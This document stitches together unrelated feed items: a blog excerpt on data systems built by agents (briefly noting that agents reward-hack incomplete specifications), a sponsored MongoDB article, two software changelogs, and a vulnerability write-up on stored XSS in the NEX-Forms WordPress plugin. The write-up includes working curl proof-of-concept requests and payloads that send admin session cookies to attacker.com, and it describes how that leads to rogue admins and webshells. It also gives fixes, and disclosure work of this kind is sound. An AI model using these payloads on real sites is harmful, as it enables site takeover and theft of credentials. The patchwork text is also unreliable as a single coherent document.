The main issue, however, is that specifications are typically imperfect, and don’t cover all corner cases. Present-day agents will exploit the missing specifications to reward-hack their way to a high performance metric. In our custom key-value store work, we found that one way to alleviate this is to have auxiliary verification agents trying to generate test cases that catch the exploitation of corner cases, essentially expanding the specification. Yet another approach is to both generate a system and a proof for its correctness together, for which we have found some early success, but more needs to be done to solidify the approach. Further, it remains to be seen what is the best way to solicit human-written specifications for a system—can this be done in an iterative, human-in-the-loop manner, as opposed to a one-shot, incomplete one. Indeed, human-written specifications are incomplete even for manually authored software, so one would expect that future agents that are more aligned will increasingly exercise better judgement when making design decisions.

One Possible Data System Synthesis Pipeline [From Here]

Other questions here involve testing whether starting from a mature system (e.g., Postgres) and removing components/functionality can lead to higher performance or more user trust. Separately, is there an opportunity to make the design composable, comprising various verified components that are mixed and matched given a workload? For example, perhaps the workload hasn’t changed enough for the storage layer to be updated, but perhaps the query optimizer requires changes. A perhaps more viable proposition involves employing agents coupled with proof systems to target critical parts of the code associated with formal proofs, rather than doing so for the entire system.

A final opportunity here is to move away from the traditional data systems stack with clearly-defined interfaces (e.g., parser, query optimizer, storage manager, …) — that were each largely the prerogative of a single human team to manage. Instead, agents can find new ways to “blend” these components together, perhaps identifying new optimization opportunities as a result. Agents can also fill in missing gaps in functionality to make existing systems much more feature-complete, or reach feature-parity with other competing systems—or analogously, continuously refining open-source systems in response to feature requests or issues (perhaps filed by other agents!) Doing so in a way that prioritizes correctness, long-term maintenance, and human interpretability will be a challenge.

Looking Further Ahead

In the era of near-free intelligence, data systems matter more than ever. As agents take on the bulk of knowledge work, the workload for data systems will change, the substrate they need to run on will have to be built, and increasingly, they will participate in designing data systems themselves. Each of these shifts opens up a new, exciting research agenda.

Co-Evolution of Data Systems and Agents

Looking further out, the boundaries between agents and data systems will likely start to blur. For instance, agents may design the data systems they themselves run on, defining both the interfaces as well as the system components underneath. Both the interfaces and internals can be evolved over time by agents in a form of recursive self-improvement. There is also an opportunity to rethink data systems as a holistic source of truth for the entirety of relevant state: including raw data, memory, and coordination state, further erasing the distinctions between the data that is being queried by agents and data generated as a result of agentic activity. Finally, data systems may themselves incorporate agentic components, fundamentally evolving from passive computation engines into intelligent, proactive, self-optimizing architectures. It is hard to predict what the future may hold. We’re in for a wild ride!

Acknowledgments

The perspective and ongoing work described in this post are the product of joint research and many discussions with wonderful collaborators at the EPIC Data Lab, Data Systems & Foundations group, and the broader Berkeley AI-Systems community. Thank you all!

BibTex for this post:

@misc{intelligence-is-free-blog,
  title={Intelligence is Free, Now What? Data Systems for, of, and by Agents},
  author={Aditya G. Parameswaran and Shubham Agarwal and Kerem Akillioglu and Shreya Shankar
          and Sepanta Zeighami and Rishabh Iyer and Matei Zaharia and Alvin Cheung
          and Natacha Crooks and Joseph Gonzalez and Joseph Hellerstein and Ion Stoica},
  howpublished={\url{https://bair.berkeley.edu/blog/2026/07/07/intelligence-is-free-now-what/}},
  year={2026}
}

The gap between what AI models and agents can produce and what legacy infrastructure can reliably support is known as architectural drag, and it is the defining bottleneck of the agentic era. 

The data layer underneath an agentic system must handle variable schemas, vector embeddings, real-time retrieval, and multi-tenant scale, often simultaneously and without human intervention to manage migrations — but traditional relational databases weren't natively designed for document flexibility or AI capabilities. Fixed schemas require manual updates every time an AI agent introduces a new data shape, while separate vector databases add latency and synchronization overhead.

Three digital-native startups — Huntr, Modelence, and Tavily — solved this problem the same way: by building on MongoDB Atlas, a unified database platform with native vector search, hybrid search, and managed autoscaling. Their experiences define what an agent-native data stack looks like in production, and why using Atlas enables developers to easily build complex AI native companies.

Modelence: Building the agent-native cloud

Modelence is an AI app builder with an open-source framework designed specifically for agent-native development, enabling anyone to build and deploy production-ready web applications, including APIs and databases, in minutes. The company recognized early that most backend infrastructure was built for humans, not AI, and that the rigid schema management and complex migrations of traditional systems create operational drag that causes agents to fail when trying to build production-ready apps.

“Choosing MongoDB helped us keep everything in a single place, which is an important property of what we strive to do for our own users," says Aram Shatakhtsyan, co-founder and CEO of Modelence. "Live data streams, vector search, all as part of the main database. For AI agents, it’s especially important to have a single platform where everything can be done, because connecting multiple platforms together makes it more error prone.”

Modelence standardized on MongoDB Atlas because its document model aligns with how AI agents process and generate data, allowing schemas to evolve rapidly without manual migrations. The platform pairs that flexibility with a typed schema layer on top, a deliberate architectural decision. 

“MongoDB’s document model enables us to both keep things simple and at the same time decide how structured we want everything to be," Shatakhtsyan says. We still add a typed schema on top, which tremendously improves the accuracy at which AI can generate fully working, reliable web apps."

The TypeScript integration has been especially consequential, he adds. 

“Because MongoDB types and values can be directly translated to TypeScript, it becomes an extension of the Modelence framework and our App Builder has a single source of truth for both app logic and database,” Shatakhtsyan explains.

The result is a platform that can move from planning to a running live feature in minutes with significantly fewer regressions. That speed and reliability helped Modelence raise $3 million in seed funding and successfully launch an AI-native app builder that handles the entire application lifecycle end-to-end.

Tavily: The web access layer for agents     

Tavily is the search API purpose-built for AI agents, connecting them to real-time, accurate web knowledge and keeping them grounded in what's actually happening, not in static training data. At Tavily's scale, every agent request authenticates, retrieves, and meters without friction. That demanded backend infrastructure built to absorb change without breaking.

“On the user side, every agent request authenticates and meters against it," says Tomer Weiss, Data Team Lead at Tavily. "On the data side, we use it to track the lifecycle of every document we’ve ever touched: when it was fetched, how stale it is, what the freshness signals were and how popular it is. MongoDB’s flexible schema let us keep evolving those records without migrations as new metrics and features came along.”

That living record is what keeps agents grounded in reality. Multi-tenancy at Tavily's scale means managing millions of API keys, distinct usage profiles, plan tiers, and regional residency requirements. They built for that complexity from day one. 

“We separated concerns across clusters early: a user/account cluster optimized for low-latency authentication and usage writes, and a sharded cluster for document state where the scaling axis is URLs, not users," Weiss explains. "That separation has paid off.”

The most critical lesson is about choosing infrastructure that doesn’t punish change, and that flexibility compounds, he says. 

"The AI space moves so fast that change is our norm," he explains.  "For a company serving AI agents, where the workloads themselves keep changing shape, choosing a data platform that doesn’t punish change has turned out to be more valuable than any single feature.”

Huntr: From job tracker to AI career platform

Huntr.co, an AI resume building and tailoring platform, helps more than 500,000 job seekers across 190 countries craft stronger applications and manage their search. For a lean, three-person engineering team, the challenge was finding a data foundation flexible enough to store the full complexity of a person’s career history in a structure that AI could read, reason about, and generate from natively.

“The kinds of career data we are gathering at Huntr naturally aligns with MongoDB’s document model," says Trevor McCann, senior software engineer at Huntr. "The core problem we’re solving with AI job search tools is how to surface the qualities of a candidate that make them unique. We need to be ready to store whatever kinds of data the candidate wants to include in their materials.”

Huntr built its AI Resume Builder on MongoDB Atlas, where the document model mirrors the natural shape of career data: deeply nested, variable across candidates, and constantly evolving as the platform ships new features. MongoDB Search on Atlas handles core search needs while MongoDB Vector Search powers the Job Tailoring feature, which puts a candidate’s stored career profile side by side a specific job description and uses semantic matching to generate a resume optimized for that role.

The integrated capabilities have had a direct impact on how quickly the team can ship, McCann says. 

“MongoDB’s hybrid search allows us to seamlessly query across literal and semantic text matches, a must-have when working with such diverse data,” McCann says. “This is something we could piece together using other solutions but with MongoDB it’s ready to go on top of our existing data layer.” The consolidation of database, search, and vector capabilities into a single platform is what allows the team to punch above its weight. Huntr considers MongoDB the fourth member of its engineering team, McCann adds. 

Looking ahead, the platform is building toward AI that learns from a candidate’s full professional history over time, delivering more personalized guidance with every interaction.

The digital native blueprint

These success stories become a definitive "digital native blueprint" for the agentic era, built on three core pillars. First, by unifying database, search, and vector storage into a single platform, these startups have effectively eliminated the architectural tax of complex data schemas that typically slows down development. This consolidation enables a level of fluidity that is now non-negotiable; AI agents require a modern data platform that can adapt as quickly as a natural language prompt evolves. 

The winners of the AI era will be the ones who build the most performant, durable, and flexible systems to support those models in production. As agentic workflows grow more sophisticated, the data foundation determines how fast a team can ship, how reliably agents can operate, and how quickly the platform can adapt when the landscape shifts again. 

Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.

Read the full article on GamingOnLinux.

• Support package-scoped NuGet release notes by @Cjewett in #15211
• Filter null entries from job directories by @brettfo in #15457
• devcontainers: preserve major-only Feature pins when precision-matching tags are absent by @thavaahariharangit with @Copilot in #15445
• Type opaque hashes in common with T.anything by @JamieMagee in #15458
• Type the options passthrough in base classes with T.anything by @JamieMagee in #15459
• Apply git-tag cooldown across ecosystems by @robaiken in #15369
• Type requirement helpers in the update-checker base class by @JamieMagee in #15461
• Select group update handler for multi-ecosystem NuGet jobs by @brettfo in #15460
• Type error-detail payloads across common and the updater by @JamieMagee in #15462
• Type package release details with T.anything by @JamieMagee in #15463
• Type message builder commit options and vulnerabilities-fixed by @JamieMagee in #15465
• Fix multiple --default-index args when multiple replaces-base credentials exist by @thavaahariharangit with @Copilot in #15481
• Fetch gradle.properties and making available lock file generation with in dependabot by @thavaahariharangit with @Copilot in #15467
• Detect cargo registries across hierarchical .cargo/config.toml files by @brettfo in #15474
• fix(bundler): only re-vendor platform gems for updated dependencies by @jurre in #15451
• Fix Sorbet runtime signature violations by @JamieMagee in #15476
• Use shared git-tag cooldown in python by @robaiken in #15470
• Fix multiline HTML version parsing for Python/UV private registries by @thavaahariharangit with @Copilot in #15469
• v0.385.0 by @dependabot-core-action-automation[bot] in #15502

New Contributors

• @Cjewett made their first contribution in #15211

Full Changelog: v0.384.0...v0.385.0

Dieser Beitrag QuimaRAT als MaaS: Java-RAT für Windows, Linux und macOS erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Tags: #WordPresSecurity #InfoSec #SecurityResearch

📋 Vulnerability Summary

• Plugin: NEX-Forms Express WP Form Builder
• Affected Version: ≤ 9.1.10 (latest as of 2026–03–22)
• Patched Version: Fixed
• Disclosure Status: Officially disclosed by WPScan, with vendor approval for disclosure agreement
• Vulnerability Type: Stored Cross-Site Scripting (XSS)
• CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation
• CVSS 3.1 Score: 8.8 HIGH
• CVSS Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
• Auth Required: ❌ None — fully unauthenticated
• Admin Interaction: ✅ Viewing the Entries page (routine workflow)
• Scope Change: ✅ Crosses from visitor context into privileged admin session

🔍 Introduction

NEX-Forms Express WP Form Builder is a widely deployed WordPress form plugin. While reviewing its form submission pipeline, I found a stored Cross-Site Scripting vulnerability that requires zero authentication to exploit and results in full WordPress administrator compromise.

The vulnerability chains three distinct weaknesses:

1. An open AJAX handler accessible without login
2. Missing HTML sanitization for array-type form fields
3. Unescaped output rendering in the WordPress admin panel

Together, these allow a remote attacker to permanently plant malicious JavaScript that fires in every administrator’s browser — automatically, every time they view the form entries.

⛓️ Root Cause: Three Weaknesses, One Chain

Weakness 1 — Open AJAX Handler (main.php:2656)

WordPress has two AJAX hook prefixes: wp_ajax_ (logged-in users) and wp_ajax_nopriv_ (anonymous users). NEX-Forms registers both for its form submission handler:

add_action( 'wp_ajax_submit_nex_form',        'submit_nex_form' );
add_action( 'wp_ajax_nopriv_submit_nex_form', 'submit_nex_form' );  // ← anonymous access

Registering a nopriv handler is legitimate for a public contact form. The problem is what the handler does — there's no nonce verification, no CSRF check, and no rate limiting:

function submit_nex_form($entry_action = false) {
    // ONLY check: honeypot field must be empty
    if ((sanitize_text_field($_POST['company_url']) != '') || strstr(..., '@qq.com'))
        die();
    // No: wp_verify_nonce(), check_ajax_referer(), current_user_can()
    // → proceeds directly to processing POST data

Leave company_url empty and avoid a @qq.com address — you're in.

Weakness 2 — Array Fields Skip Sanitization (main.php:2883)

Inside the handler, form fields from $_POST are processed in a loop. Here's the critical divergence:

if (is_array($val) || is_object($val)) {
    // ← CWE-79: rest_sanitize_array() does NO HTML stripping
    $data_array[] = [
        'field_name'  => $key,
        'field_value' => rest_sanitize_array($val),
    ];
} else {
    $val = strip_tags($val);              // ← scalar fields ARE stripped ✓
    $data_array[] = ['field_name' => $key,
        'field_value' => sanitize_text_field(str_replace('\\', '', $val))];
}

⚠️ The key fact: rest_sanitize_array() is a WordPress REST API utility. Its entire implementation is return array_values($data) — it reindexes the array and does nothing else. No HTML stripping. No entity encoding. Raw <script>, <img onerror>, and any other HTML passes straight through.

The fix for scalar fields is right there in the else branch. The developer correctly applied strip_tags() to strings but chose the wrong function for array inputs.

Weakness 3 — Raw Echo in Admin View (class.db.php:2624)

When an admin opens an entry in the NEX-Forms dashboard, populate_form_entry() decodes the stored JSON and renders each field into an HTML table. For array-type values:

foreach ($field_value as $val) {
    // ...
    $output .= rtrim($val, ', ') . '<br />';  // ← no esc_html(), raw HTML output
}

rtrim() strips trailing commas and spaces. That's it. The stored <img src=x onerror=alert(document.domain)> is written verbatim into $output, which is echoed directly into the admin page. WordPress's esc_html() — a one-character fix — was never applied.

🔀 Attack Chain

Unauthenticated Attacker
        │
        │  1. HTTP POST — no credentials, no nonce, no CSRF token
        │     action=submit_nex_form
        │     nex_forms_Id=1
        │     company_url=              ← honeypot bypassed (empty)
        │     email=attacker@evil.com
        │     payload[]=<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>
        │
        ▼
    wp_ajax_nopriv_ handler fires
    submit_nex_form() passes honeypot check
    rest_sanitize_array() stores raw HTML → wp_wap_nex_forms_entries.form_data
        │
        │  2. Normal admin workflow: NEX-Forms → Entries
        │     (no special action required)
        │
        ▼
    populate_form_entry() decodes JSON
    rtrim($val) echoed without esc_html()
    <img src=x onerror=...> written directly into admin page DOM
        │
        ▼
    Browser renders admin page
    onerror fires automatically (no click required)
    Session cookie exfiltrated to attacker's server
        │
        ▼
    COMPLETE SITE TAKEOVER
    → Rogue admin account created
    → Backdoor plugin installed
    → Full database exfiltrated

🗄️ Database Evidence

After submitting the PoC payload, a direct database check confirms the raw HTML is persisted:

SELECT form_data FROM wp_wap_nex_forms_entries ORDER BY id DESC LIMIT 1;

[
  {"field_name": "email", "field_value": "attacker@evil.com"},
  {"field_name": "payload", "field_value": ["<img src=x onerror=alert(document.domain)>"]}
]

The <img> tag is stored verbatim with no entity encoding. It persists until manually deleted — meaning every admin who views the Entries page will trigger the XSS, not just the first.

🖥️ Admin Page Rendered Output

Lab-confirmed AJAX response when admin loads the injected entry:

<td valign="top" style="vertical-align:top !important;">
  <table width="100%" class="highlight" cellpadding="10" cellspacing="0">
    <img src=x onerror=alert(document.domain)><br />
  </table>
</td>

The <img> tag lands directly in the DOM. The browser tries to load src="x", fails, and fires onerror — no click, no interaction required.

💻 Proof of Concept

Disclosure note: This PoC is provided for educational and authorized security testing only. Lab environment: WordPress 6.9.4, NEX-Forms 9.1.10, Bitnami Docker.

Step 1 — Inject payload (unauthenticated)

curl -s -X POST "http://TARGET/wp-admin/admin-ajax.php" \
  --data "action=submit_nex_form" \
  --data "nex_forms_Id=1" \
  --data "company_url=" \
  --data "email=attacker@evil.com" \
  --data "payload[]=<img src=x onerror=alert(document.domain)>"

Expected response — valid entry ID confirms storage:

<input type="hidden" name="nf_entry_id" value="13">

Step 2 — Verify raw storage

wp db query "SELECT form_data FROM wp_wap_nex_forms_entries ORDER BY id DESC LIMIT 1;"
# The <img> tag appears verbatim in field_value — no HTML encoding.

Step 3 — Trigger XSS as admin

1. Log in to WordPress admin: http://TARGET/wp-admin/
2. Navigate to NEX-Forms → Form Entries
3. Click the affected form → click the injected entry row
4. alert("localhost:8080") fires immediately — no interaction beyond page load

Step 4 — Real-world session hijack

curl -s -X POST "http://TARGET/wp-admin/admin-ajax.php" \
  --data "action=submit_nex_form" \
  --data "nex_forms_Id=1" \
  --data "company_url=" \
  --data "email=attacker@evil.com" \
  --data 'payload[]=<img src=x onerror="var i=new Image();i.src='"'"'https://attacker.com/steal?c='"'"'+encodeURIComponent(document.cookie);">'

When the administrator views entries, their session cookie is silently exfiltrated. From there, the attacker can create rogue admin accounts, install PHP webshell plugins, or dump the entire database.

💥 Impact

• Admin views Entries (normal workflow): JavaScript executes in admin browser context
• Session cookie theft: Attacker hijacks admin session without credentials
• Rogue admin creation: fetch() silently POSTs to /wp-json/wp/v2/users
• Plugin upload via REST API: PHP webshell installed without further interaction
• Site defacement: document.body.innerHTML overwritten
• Persistent backdoor: Payload fires for every admin who views entries

🛠️ Remediation

Two independent fixes are both necessary: sanitize at input, escape at output.

Fix 1 — Sanitize array fields at storage (main.php:2883)

Vulnerable:

$data_array[] = [
    'field_name'  => $key,
    'field_value' => rest_sanitize_array($val),  // ← no HTML stripping
];

Fixed:

$sanitized = array_map('sanitize_text_field', (array) $val);
$data_array[] = [
    'field_name'  => $key,
    'field_value' => $sanitized,
];

Fix 2 — Escape output in admin view (class.db.php:2624)

Vulnerable:

$output .= rtrim($val, ', ') . '<br />';

Fixed:

$output .= esc_html(rtrim($val, ', ')) . '<br />';

Fix 3 — Nonce verification (defense-in-depth)

// Add at the top of submit_nex_form():
if (!isset($_POST['nf_nonce']) ||
    !wp_verify_nonce($_POST['nf_nonce'], 'nf_submit_' . $nex_forms_id)) {
    wp_send_json_error('Invalid request');
}

Fix 1 and Fix 2 each independently prevent the XSS. Fix 3 makes automated injection harder but is not a substitute for proper sanitization and escaping.

📊 CVSS 3.1 Breakdown

• Attack Vector (AV): Network (N) — Exploitable remotely over HTTP
• Attack Complexity (AC): Low (L) — Works on any default installation with a form
• Privileges Required (PR): None (N) — Fully unauthenticated
• User Interaction (UI): Required (R) — Admin views entries — their normal workflow
• Scope (S): Changed © — XSS crosses from visitor into privileged admin session
• Confidentiality ©: High (H) — Admin cookies, DB content, secret keys exposed
• Integrity (I): High (H) — Can create admins, install plugins, modify all content
• Availability (A): None (N) — No direct denial-of-service impact

Base Score: 8.8 HIGH — AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

📣 Disclosure Resources

• Plugin Author: https://basixonline.net/
• WordPress Plugin Support: https://wordpress.org/support/plugin/nex-forms-express-wp-form-builder/
• Wordfence Bug Bounty: https://www.wordfence.com/wordfence-intelligence-wordpress-vulnerability-database/
• WPScan Vulnerability Database: https://wpscan.com/

🔑 Key Takeaways

For developers:

• Always apply esc_html() (or esc_attr(), esc_url()) at every output point in WordPress — even in admin-only pages
• Never assume admin-facing output is “safe” — XSS in admin context is just as dangerous as front-end XSS
• rest_sanitize_array() is for REST API coercion, not for HTML sanitization — use array_map('sanitize_text_field', $arr) instead
• Apply the same sanitization consistently across all field types — asymmetric handling creates exploitable edge cases

For site owners:

• If you use NEX-Forms Express ≤ 9.1.10, update immediately to the patched version.
• Monitor your form entries for unexpected HTML or JavaScript in field values
• Consider a WAF rule blocking <script, onerror=, and javascript: in form POST bodies

Stay tune for more!!!

Unauthenticated Stored XSS in NEX-Forms Express WP Form Builder (≤ 9.1.10) — CVSS 8.8 High was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

• Improve cluster file synchronization error handling by @TomasTurina in #36129
• Update trojan signatures to avoid false positives on modern distros by @Miguevrgo in #35927
• Improve cluster merged file parameter validation by @vikman90 in #36204
• Create a backup of local_rules.xml during execution of IT analysisd tier 0 1 by @Antoniogm03 in #36201
• Improve tmp_file path validation in cluster DAPI by @vikman90 in #36246
• Revert bump main branch by @wazuhci in #36303
• Bump 4.14.7 branch by @wazuhci in #36312
• Serialize procps access to prevent modulesd crash by @cborla in #36261
• Remove obsolete configuration blocks from API upload_configuration setting by @TomasTurina in #36252
• Restore working vulnerability scanner database workflow by @jotacarma90 in #36332
• Propagate agent merged_sum after hot reload in cluster by @jotacarma90 in #36164
• Merge 4.14.7 into main by @jotacarma90 in #36331
• Authd tier 0-1 flaky tests fix by @jotacarma90 in #36342
• Review agent info logs by @Antoniogm03 in #36234
• Fix the wazuh-manager-modules crash that occurs while downloading the feed by @Antoniogm03 in #36337
• Migrate FIM DB path queries to parameterized statements by @Darioortegaleyva in #36399
• Fix AlmaLinux 9/10 bootloader permissions SCA check regex and optional file handling by @vikman90 in #36396
• Cluster file processing parameter validation by @vikman90 in #36296
• Add missing 4.10.2-4.10.5 and 4.8.2 entries to changelogs by @jotacarma90 in #36407
• Treat the absence of the hash document as expected, not an error by @juliancnn in #36355
• geo_point validation support all compatible formats by @LucioDonda in #36034
• Prevent Syscollector and SCA use-after-free on modulesd shutdown by @nbertoldo in #36359
• Add cluster security model and configuration documentation by @vikman90 in #36405
• Bump CB_SCAN_STARTED timeout and trigger ITs on wm_syscollector.c by @jr0me in #36446
• Fixed an issue in eBPF with LSM hooks and improved the health check by @MarcelKemp in #35838
• Validate cluster node name format by @vikman90 in #36460
• eBPF libraries updated by @MarcelKemp in #36467
• Bump 4.14.6 branch by @wazuhci in #36517
• Revert "Bump 4.14.6 branch" by @MARCOSD4 in #36518
• Bump 4.14.6 branch by @wazuhci in #36519
• Update changelog for 4.14.6 RC 1 by @jotacarma90 in #36562
• Fix policy evaluation errors by @fcontrerasc in #36449
• Release startup hash gate when the reload chain fails by @jr0me in #36302
• Revert "Add missing 4.10.2-4.10.5 and 4.8.2 entries to changelogs" by @MarcelKemp in #36591
• Merge merge-4.14.7-into-main into main [automated] by @wazuhci in #36624
• Restore event counter and classify received messages by @jotacarma90 in #36456
• Unify manager integration tests workflows by @ignaciogalle12git in #36235
• Remove unused Node.js 12 from arm64 deb agent builder by @Miguevrgo in #36156
• Remove unused Node.js 12 from arm deb agent builders (4.14.7) by @Miguevrgo in #36157
• SCA typo bug in SELinux SCA rule for CentOS 8/9/10 by @Miguevrgo in #36361
• Fix detect-changes glob to honour ** recursively and extract logic into a reusable action by @Nicogp in #36617
• Merge merge-4.14.6-into-4.14.7 into 4.14.7 [automated] by @wazuhci in #36623
• Reduce log noise when engine has no synchronized ruleset by @NahuFigueroa97 in #36356
• Update test modules paths by @rovogel in #36668
• Only download external deps when required by @TomasTurina in #36244
• Merge 4.14.7 into main by @jotacarma90 in #36664
• Mail forwarding and reporting 5.0 migration guide by @Ripdiegozz in #36357
• Added Ubuntu 26.04's SCA policy in the SPECS by @MarcelKemp in #36712
• Preliminary support new OSs - Ubuntu 26.04 - Add SCA content by @AwwalQuan in #36708
• Safeguards to inventory sync by @juliancnn in #36469
• Improve the method of detecting duplicates by @NahuFigueroa97 in #36344
• Fix race condition preventing inventory synchronization after agent reload by @nbertoldo in #36682
• Added API integration tests workflow by @MiguelazoDS in #36196
• Fix non-atomic write for file_status.json in logcollector by @nbertoldo in #36722
• Make agent-info shutdown waits interruptible by @lchico in #36719
• Validate IP address in ip-customblock active response by @vikman90 in #36730
• wazuh-agent remains active after uninstall on Fedora 44 / DNF5 by @Miguevrgo in #36727
• Use per-target rpath and remove redundant LD_LIBRARY_PATH/WAZUH_ENGINE_GROUP exports by @jotacarma90 in #36455
• Fix changelog chronological order and update bumper script by @Darioortegaleyva in #36729
• Monitoring a symlink without follow_symbolic_link by @Darioortegaleyva in #36081
• SCA policies migration guide from 4.x to 5.x by @jr0me in #36671
• Fix 5x wazuhdb integration tests by @ignaciogalle12git in #36713
• Downgrade transient manager-reported sync failures logs to debug by @jr0me in #36744
• Show sca timouts as Not Run by @jpcerrone in #36258
• Authd workflow creation for 5.x by @jepalfer in #36404
• Adapt remoted tests to 5.x by @Antoniogm03 in #36609
• Update unclassified event criteria by @LucioDonda in #36681
• use safeloader in yaml file loader by @LucioDonda in #36753
• Downgrade expected modulesd socket warnings/errors during agent restart to debug by @jr0me in #36755
• Documentation: Ciscat and openscap migration to SCA by @jpcerrone in #36723
• Document the deprecation of OSquery in order to use IT Hygiene in version 5.0 by @nbertoldo in #36756
• Preserve wazuh-syscheckd Full Disk Access attribution on macOS reload by @Nicogp in #36754
• Normalize severity Msg by @hernanvalenzuela in #36759
• Agent Groups 5x Migration Guide by @fcontrerasc in #36726
• Add NULL validation for optional FlatBuffer fields in inventory_sync by @vikman90 in #36773
• Fix agent keepalive scheduling after system clock rollback by @Darioortegaleyva in #36338
• Create integratord migration guide to 5.x by @Adman23 in #36750
• Syslog output (csyslogd) 5.0 migration guide by @gonzaarancibia in #36741
• Merge merge-4.14.7-into-main into main [automated] by @wazuhci in #36767
• Migration documentation: syslog input alternative by @rovogel in #36781
• Drop libcrypt dependency from Python dep by @jotacarma90 in #36782
• Change duplicated link to intented one by @Miguevrgo in #36794
• Add centralized input validation for active response framework by @vikman90 in #36745
• Fix sca check for etc/shadow by @Miguevrgo in #36795
• Align remoted metrics shipper with new field names by @jotacarma90 in #36740
• Fix wrap PolicyBanner stat in 'sh -c' so glob expands in macOS SCA check 41062 by @Nicogp in #36783
• Bump main branch by @wazuhci in #36801
• Defer module coordination while FIM first sync is in progress by @anromerom in #36762
• Revert "Bump main branch" by @MARCOSD4 in #36802
• Change log severity for recoverable and expected conditions by @hernanvalenzuela in #36786
• Prevent data race in schema validator factory concurrent initialization by @Nicogp in #36789
• Schema generation for dotted and nested field mappings by @jam300 in #36473
• Engine support null values in schema validation by @LucioDonda in #36470
• docs: add Active Response 4.x to 5.x migration guide by @jcorredor-spec in #36402
• Use env mappings for variable passing in builderpackage workflows by @Miguevrgo in #36738
• Adds 4.x to 5.x migration documentation. by @rjcausarano in #36785
• Fix AWS cross-account SQS queue URL when using iam_role_arn by @fcontrerasc in #36791
• Fix enrollment key validation and improve input handling by @vikman90 in #36807
• Lower agent_sync_protocol and module sync log levels to reduce false-alarm noise by @Nicogp in #36817
• Add unit tests for utils, aws_tools, DockerListener, gcloud and azure modules by @AnDumu in #36761
• Normalize numeric inode to string events (6960) by @hernanvalenzuela in #36837
• Prevent indexer consumer wait during shutdown by @jotacarma90 in #36836
• Update manager 5x documentation by @ignaciogalle12git in #36833
• Add bump-issue-link support to bumper workflow by @jotacarma90 in #36868
• Add guide for migrating manager coordinator from 4.x to 5.x by @jepalfer in #36829
• Add Wazuh Manager Configuration documentation from 4.x to 5.x by @Antoniogm03 in #36779
• Add documentation to migrate filebeat to indexer connector by @Antoniogm03 in #36866
• wazuh-manager: Benchmark and footprint by @juliancnn in #36145
• Update manager upgrade block message by @jotacarma90 in #36987
• 5.x PR workflows improvements by @ignaciogalle12git in #36766
• Add Manager 5.0 release notes and breaking changes by @ignaciogalle12git in #36850
• ci(gha): migrate server/manager workflows to AWS CodeBuild runners [main] by @jotacarma90 in #37012
• chore: update vulnerable Python framework dependencies by @jotacarma90 in #37024
• Add Manager 5.0 wazuh-manager.conf configuration reference by @jotacarma90 in #36999
• Add virustotal migration guide by @jepalfer in #37013
• Add VD migration documentation by @ignaciogalle12git in #37008
• Add documentation for wpk upgrade by @Antoniogm03 in #37015
• Migrate agent build workflows to AWS CodeBuild runners by @Nicogp in #37028
• XML Decoders migration to YAML by @jepalfer in #36959
• CDB to KVDB migration guide by @jepalfer in #36996
• Documentation of Agentless migration to 5.x by @Antoniogm03 in #37025
• Fix manager reload/restart silently fails by @ignaciogalle12git in #36962
• Randomize key generation for installation by @jepalfer in #36861
• Retry vulnerability feed validation failures promptly by @jotacarma90 in #36874
• Bump 5.0.0 branch by @wazuhci in #37040
• Fix agent permanently stuck when TCP connection is silently half-closed by @nbertoldo in #36790
• ci(gha): migrate server/manager workflows to AWS CodeBuild runners [4.14.6] by @jotacarma90 in #37010
• ci(gha): migrate server/manager workflows to AWS CodeBuild runners [4.14.7] by @jotacarma90 in #37011
• fix: correct blob URL refs for release branch by @jotacarma90 in #37046
• Use restricted wazuh-server user for Manager Indexer authentication by @jotacarma90 in #37061
• fix(packages): use wazuh-manager-control in manager init.d scripts by @jotacarma90 in #37059
• fix: Update the unclassified event doc by @juliancnn in #37126
• Skip vanished /proc entries during ports scan by @Nicogp in #36859
• Fix RBAC permission check to verify allow effect in update_config rules by @vikman90 in #37076
• Add destination confinement to worker non-merged and extra file sync paths by @jotacarma90 in #36998
• Patch cluster authentication by @ignaciogalle12git in #37039
• Lower stale-session indexer log to debug by @jotacarma90 in #37150
• Limit recursion depth in XML parser by @vikman90 in #37147
• Add status endpoint by @NahuFigueroa97 in #37022
• Add log collectors reference docs by @AnDumu in #37057
• Run the Windows MSI package test on the AWS CodeBuild runner by @nbertoldo in #37165
• Remove merged.mg hash cache to fix stale syscollector flush by @hernanvalenzuela in #37048
• Enrich MITRE fields with id and names by @fcontrerasc in #37054
• Reduce indexer connection warning noise by @jam300 in #37021
• Remove deprecated wazuh-dbd daemon by @vikman90 in #37035
• Bound decompressed size when processing sync archives by @jotacarma90 in #37119
• Bump 4.14.6 branch by @wazuhci in #37176
• Add libcrypt fix (#36782) to 4.14.6 changelog by @jotacarma90 in #37178
• Delay IndexerDownloader connection warnings until 3 failed attempts by @jotacarma90 in #37177
• Add parameterized target selection to Coverity scan workflow by @lchico in #37171
• Align remoted tier 2 CodeBuild setup by @jotacarma90 in #37155
• Add rules migration guide by @Jorgesnchz in #36305
• Migrate agent Linux/Windows test workflows to AWS CodeBuild runners by @Nicogp in #37051
• Silence spurious keepalive warnings on the Windows agent by @nbertoldo in #37187
• wazuh-engine: Improve log messages and logger by @juliancnn in #36995
• Set default indexer connector credentials by @TomasTurina in #37192
• Fix incorrect snprintf size calculation in winevtchannel decoder by @vikman90 in #37198
• Align VD feed-download log levels with indexer consumer state by @jotacarma90 in #37199
• Recognize renamed indexer consumer status in engine sync by @jotacarma90 in #37204
• Merge 4.14.6 into 4.14.7 by @jotacarma90 in #37210
• Token replacement to avoid permission errors by @MarcelKemp in #37237
• Merge 4.14.7 into 5.0.0 by @jotacarma90 in #37211
• Eliminate TOCTOU races in healthcheck file operations by @rjcausarano in #37160
• Sca file policy block standardization by @Johnng007 in #37179
• Bind agent index selection and scope deletes by cluster by @jotacarma90 in #37154
• Add Null Check for Inode and Dev Fields in FIM Whodata Event Handler by @vikman90 in #37245
• Docs/6764 logcollector whats new 5.0 by @AnDumu in #37056
• Repair RPM builder toolchain downloads by @jr0me in #37130
• Add cluster name validation by @TomasTurina in #37238
• Add cluster readiness endpoint by @NahuFigueroa97 in #37129
• Defer cluster payload buffer allocation until data is received by @jepalfer in #37280
